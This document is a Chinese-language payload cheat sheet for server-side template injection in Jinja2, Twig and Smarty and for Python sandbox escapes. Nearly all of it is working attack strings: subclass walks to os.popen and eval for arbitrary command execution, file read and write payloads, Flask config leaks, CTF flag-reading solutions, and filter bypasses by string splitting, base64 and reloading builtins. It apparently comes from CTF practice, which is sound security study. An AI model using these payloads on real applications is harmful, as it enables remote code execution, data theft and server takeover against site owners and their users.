Twig
{{7*'7'}} #输出49
Jinja
{{7*'7'}} #输出7777777
Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()" ) }}{% endif %}{% endfor %}
在添加命令即可。
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
smarty模板引擎:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
twig模板引擎:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
2020新春战疫公益CTF-Flaskapp(python3)
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}
[BJDCTF 2nd]fake google
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
[WesternCTF2018]shrine(python内置函数,url_for和get_flashed_messages)
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过
base64:
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
字符串拼接:
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
reload方法:
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
当没有过滤reload函数时,我们可以重载builtins
reload(__builtins__)
当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
等价于:
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
dict和globals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问
getattr() 和 getattribute()
python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。
如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
这里,我们可以通过getattribute这个方法做一些事,如下面的payload
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
示例payload:
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval
']('__import__("os").popen("ls /var/www/html").read()' )